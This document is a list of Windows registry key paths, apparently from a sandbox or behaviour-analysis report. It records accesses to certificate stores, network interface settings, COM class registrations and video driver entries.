HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Disallowed\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Disallowed
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\ProtectedRoots
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\ProtectedRoots\Certificates
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Root\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\AuthRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4F65566336DB6598581D584A596C87934D5F2AB4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4F65566336DB6598581D584A596C87934D5F2AB4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\627F8D7827656399D27D7F9044C9FEB3F33EFA9A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\627F8D7827656399D27D7F9044C9FEB3F33EFA9A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85371CA6E550143DCE2803471BDE3A09E8F8770F
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85371CA6E550143DCE2803471BDE3A09E8F8770F\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97817950D81C9670CC34D809CF794431367EF474
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97817950D81C9670CC34D809CF794431367EF474\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97E2E99636A547554F838FBA38B82E74F89A830A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97E2E99636A547554F838FBA38B82E74F89A830A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D23209AD23D314232174E40D7F9D62139786633A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D23209AD23D314232174E40D7F9D62139786633A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Root\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\SmartCardRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\TrustedPeople\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\TrustedPeople
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\TrustedPeople
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\TrustedPeople\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\TrustedPeople
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\trust\CTLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\Certificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\CRLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\trust\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\trust
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\trust
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\trust\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\trust
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Diagnostics
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\UserenvDebugLevel
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\GpSvcDebugLevel
HKEY_LOCAL_MACHINE\System\Setup
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\AuthRoot
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\WinHttpSettings
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableInetUnknownAuth
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\Escalation
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllVerifyCertificateChainPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CertDllVerifyCertificateChainPolicy
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{c2d43895-0262-4873-a789-c2f96d24b693}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\EnableDhcp
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DhcpDomain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\EnableDhcp
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{846EE342-7039-11DE-9D20-806E6F6E6963}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DhcpDomain
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\Interfaces\{846EE342-7039-11DE-9D20-806E6F6E6963}
HKEY_CURRENT_USER\Software\Classes\winmgmts
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID\(Default)
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Hostname
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\System\DNSclient
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Domain
HKEY_CURRENT_USER\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler
HKEY_CURRENT_USER\Software\Classes\TypeLib
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\409
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\9
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32\(Default)
HKEY_CURRENT_USER\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler
HKEY_CURRENT_USER\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MediaResources\msvideo
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Drivers32
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo2
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo3
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo4
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo5
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo6
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo8
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9
HKEY_USERS\S-1-5-20_Classes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\Progid
